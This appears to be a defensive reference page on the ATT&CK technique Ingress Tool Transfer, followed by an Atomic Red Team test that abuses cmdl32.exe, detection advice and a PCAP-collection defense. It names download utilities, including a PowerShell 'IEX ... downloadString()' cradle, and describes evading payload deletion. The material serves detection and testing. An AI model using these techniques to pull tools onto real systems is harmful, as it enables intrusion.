T1105 - Ingress Tool Transfer#
Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer).
On Windows, adversaries may use various utilities to download tools, such as copy
, finger
, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString()
and Invoke-WebRequest
. On Linux and macOS systems, a variety of utilities also exist, such as curl
, scp
, sftp
, tftp
, rsync
, finger
, and wget
.(Citation: t1105_lolbas)
Adversaries may also abuse installers and package managers, such as yum
or winget
, to download tools to victim hosts.
Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016) In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service’s web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim’s machine.(Citation: Dropbox Malware Sync)

Atomic Test #20 - Download a file with Microsoft Connection Manager Auto-Download#
Uses the cmdl32 to download arbitrary file from the internet. The cmdl32 package is allowed to install the profile used to launch the VPN connection. However, the config is modified to download the arbitary file. The issue of cmdl32.exe detecting and deleting the payload by identifying it as not a VPN Servers profile is avoided by setting a temporary TMP folder and denying the delete permission to all files for the user. Upon successful execution the test will open calculator and Notepad executable for 10 seconds. reference: https://twitter.com/ElliotKillick/status/1455897435063074824 LOLBAS-Project/LOLBAS#151 https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/ https://strontic.github.io/xcyclopedia/library/cmdl32.exe-FA1D5B8802FFF4A85B6F52A52C871BBB.html

Detection#
Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as ftp, that does not normally occur may also be suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy
modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
Shield Active Defense#
PCAP Collection#
Collect full network traffic for future research and analysis.
PCAP Collection allows a defenders to use the data to examine an adversary’s network traffic more closely, including studying if it is encoded and/or encrypted. PCAP can be run through tools to replay the traffic to get a real-time view of what happened over the wire. These tools can also parse the traffic and send results to a SIEM for monitoring and alerting.
Opportunity#
There is an opportunity to collect network data and analyze the adversary activity it contains.
Use Case#
Collecting full packet capture of all network traffic allows you to review what happened over the connection and identify command and control traffic and/or exfiltration activity.
Procedures#
Collect PCAP on a decoy network to improve visibility into an adversary’s network activity.
